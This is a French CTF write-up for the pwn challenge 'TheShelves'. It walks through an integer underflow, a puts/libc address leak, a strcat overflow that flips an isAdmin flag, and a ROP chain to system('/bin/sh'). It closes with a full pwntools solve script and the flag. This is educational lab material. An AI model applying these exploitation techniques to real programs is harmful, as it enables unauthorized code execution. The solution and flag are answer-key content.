5 min read

[CTF GEMA] TheShelves

CTF GEMA Groupe 2025

Niveau de Difficulté : Hard

Catégorie du Challenge : Pwn

Description :

Bienvenue dans une bibliothèque virtuelle où des histoires vous attendent ! Ici, vous pouvez écrire vos propres livres, acheter des titres passionnants et explorer des éditions spéciales. Chaque choix que vous faites est important, et vous devrez réfléchir attentivement pour tirer le meilleur parti de votre temps dans la bibliothèque. Saurez-vous découvrir toutes les fonctionnalités cachées et débloquer de nouvelles aventures ? Entrez et commencez votre voyage ! 📖

Steps to Solve

Exploit Development:

Ce challenge tourne autour d'un binaire C vulnérable, main.c, qui simule une bibliothèque avec diverses histoires. Le joueur doit effectuer une attaque d'exploitation binaire pour obtenir un accès administrateur et, finalement, exécuter le code de son choix.

Integer Underflow dans buyStory():

Dans la fonction buyStory(), il y a une option pour faire un don de pièces. Si un joueur choisit cette option (y), des pièces sont déduites :

Explication du Code C :

void buyStory() {
// ...
printf("Would you like to donate a little to support the library? (y/N) >> ");
option = getchar();
if (option != '\n') getchar();
if (option == 'y' || option == 'Y') {
puts("\nThank you for your generosity!");
coins -= 10U; // Integer underflow occurs here
}
// ...

Dans ce code, le programme demande à l'utilisateur de "faire un don" en soustrayant 10 de la variable coins. Étant donné que coins est un entier sans signe, il ne peut pas contenir de valeurs négatives. Lorsque coins a moins de 10 pièces, soustraire 10 entraîne un integer underflow, ce qui permet à coins de prendre une très grande valeur positive en raison du wraparound.

Python Exploit Code:

# Triggering the integer underflow to get a high coin balance:
sendline("2") # Select buy story
sendline("2") # Select "Overflowing Dreams" story option (requires 425 coins)
sendline("y") # Donate to trigger underflow if coins < 10
for i in range(10): # Repeating to maximize coin balance for the next steps
sendline("2")
sendline("3") # Attempt purchase of "Forbidden Memory"
sendline("y") # Trigger underflow for coins

Comment abuser de cela ?

Ici, en faisant un don en continu avec un nombre de pièces insuffisant, on provoque un integer underflow à chaque fois, ce qui finit par nous donner des millions de pièces, suffisamment pour nous permettre d'acheter des articles coûteux et accéder à des fonctionnalités supplémentaires du programme.

Fuite de mémoire via un achat coûteux dans la fonction buyStory()

C Code Explanation:

case '3':
if (coins >= 1000000) { // Checks if user has enough coins for this item
printf("In the deepest recesses of the system lies a forbidden memory address... %p.\n", puts);
} else {
puts("Your pockets are too light for this quest!");
}
break;

Ce segment de buyStory() contient un article coûteux nécessitant 1 000 000 de pièces. Lorsque l'utilisateur peut se le permettre, le programme fuit l'adresse mémoire de la fonction puts (en utilisant le spécificateur de format %p), ce qui nous donne l'adresse de base de cette bibliothèque essentielle, libc.

Python Exploit Code:

# Use inflated coin balance to access forbidden story and leak puts address:
sendline("2") # Enter "buy story" menu
sendline("3") # Select "Forbidden Memory" story
# Capture leaked puts address for further exploitation:
p.readuntil(b"forbidden memory address... ")
puts = int(p.readuntil(b".")[:-1], 16)
log.success("Leaked puts @ " + hex(puts))

Avec notre grand nombre de pièces, nous achetons l'histoire "Forbidden Memory", ce qui entraîne l'impression de l'adresse de la fonction puts. Capturer cette adresse divulguée nous permet de calculer l'adresse de base de libc, que nous utiliserons plus tard pour construire une chaîne ROP (Return-Oriented Programming) afin d'exécuter /bin/sh.

Buffer Overflow in writeStory() and Overflow of isAdmin Variable:

C Code Explanation:

void writeStory(char *story) {
char buffer[40]; // Stack buffer
memset(story, 0, 40); // Initialize `story` buffer to zeroes
// Read user input into `buffer`
fgets(buffer, sizeof(buffer), stdin);
// Append `buffer` to `story` if `audio` is enabled, leading to overflow
if (audio == 'y' || audio == 'Y') strcat(story, buffer);
else strcpy(story, buffer);
}

Dans cette fonction, l'entrée de l'utilisateur est stockée dans un tampon (buffer) de taille limitée à 40 octets. Cependant, si le mode audio est activé, le programme ajoute le contenu de ce tampon à la variable story, ce qui peut provoquer un débordement de tampon (buffer overflow) si l'entrée dépasse 40 octets.

Ce débordement de tampon permet d'écraser des données adjacentes sur la pile, y compris la variable isAdmin. En écrasant cette variable avec une valeur non nulle, un attaquant peut obtenir des privilèges d'administrateur et accéder à des fonctionnalités réservées. Une fois que isAdmin est modifié pour être non nul, cela accorde à l'attaquant les privilèges d'administrateur et lui permet d'exécuter des actions qu'il ne devrait normalement pas être autorisé à faire.

Python Exploit Code:

# Overflowing the buffer in writeStory to alter `isAdmin`
sendline("1") # Select writeStory function
sendline("y") # Enable audio mode for writeStory
sendline("A" * 40) # Fill buffer to overflow and set isAdmin variable

En débordant le buffer avec "A" * 40, nous écrivons sur la variable isAdmin avec une valeur non nulle, ce qui nous donne un accès administrateur. Avec les privilèges d'administrateur, nous préparons ensuite une chaîne ROP pour exécuter /bin/sh en utilisant l'adresse libc fuitée.

Exécution de la chaîne ROP dans adminAccess()

C Code Explanation:

void adminAccess(int isAdmin) {
char buffer[40];
if (isAdmin == 0) {
puts("\nUnauthorized! This section is restricted to admins.\n");
return;
}
puts("\nWelcome, admin! Create something extraordinary...");
fgets(buffer, 0x100, stdin); // Overflows buffer with ROP chain
puts("Special book saved securely.");
}

Une fois que isAdmin est non nul, le programme nous accorde l'accès à la fonction adminAccess, où nous pouvons entrer jusqu'à 256 octets dans un buffer de 40 octets, ce qui provoque un nouveau débordement de buffer. Ce débordement nous permet d'injecter une chaîne ROP élaborée et de contrôler le flux d'exécution du programme.

Python Exploit Code:

# Constructing ROP Chain for Admin Access
rop2 = ROP(libc)
rop = ROP(elf)
rop.raw(b"A" * 56)
rop.raw(rop2.ret.address)
rop.raw(rop2.rdi.address)
rop.raw(next(libc.search(b'/bin/sh')))
rop.raw(libc.sym.system)
# Send the ROP chain
sendline("4") # Exit program to trigger ROP execution
interactive() # Interactive mode to access shell

Après avoir défini isAdmin, nous envoyons notre chaîne ROP à la fonction adminAccess, où elle déborde le buffer et finit par appeler system("/bin/sh"). Enfin, nous quittons le programme pour déclencher la chaîne ROP, nous donnant ainsi un shell interactif.

Solve Code

#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./main")
context.binary = elf
libc = None
p = None
def conn():
global libc
if args.REMOTE:
libc = ELF("./libc.so.6")
p = remote("127.0.0.1", 1234)
else:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])
if args.GDB:
gdb.attach(p, gdbscript='\n'.join("b *main"))
return p
def sendline(data):
p.clean()
try:
data = data.encode()
p.sendline(data)
except:
p.sendline(data)
def main():
global p
p = conn()
# An integer underflow in the shop's tip feature enables a user to purchase a leak of the puts
address.
sendline("2")
sendline("2")
sendline("y")
for i in range(10):
sendline("2")
sendline("3")
sendline("y")
sendline("2")
sendline("3")
p.readuntil(b"forbidden memory address... ")
puts = int(p.readuntil(b".")[:-1],16)
p.clean()
log.success("puts @ "+str(hex(puts)))
log.success("libc.sym.puts @ "+str(hex(libc.sym.puts)))
libc.address = puts - libc.sym.puts
log.info("libc "+str(hex(libc.address)))
sendline("N")

# A 6-byte overflow occurs through string functions when an audiostory is selected.
# An overflow of the admin flag in the main function happens because the book resides in the
main's stack frame.
sendline("1")
sendline("y")
sendline("A"*40)
rop2 = ROP(libc)
rop = ROP(elf)
rop.raw(b"A"*(56))
rop.raw(rop2.ret.address)
rop.raw(rop2.rdi.address)
rop.raw(next(libc.search(b'/bin/sh')))
rop.raw(libc.sym.system)
# use option 3 to send the rop chain
sendline("3")
sendline(rop.chain())
sendline("4")
p.interactive()
if __name__ == "__main__":
main()

Flag

FLAG{writ1ng_books_can_h1de_f4bulous_st0ries_4nd_expl0its}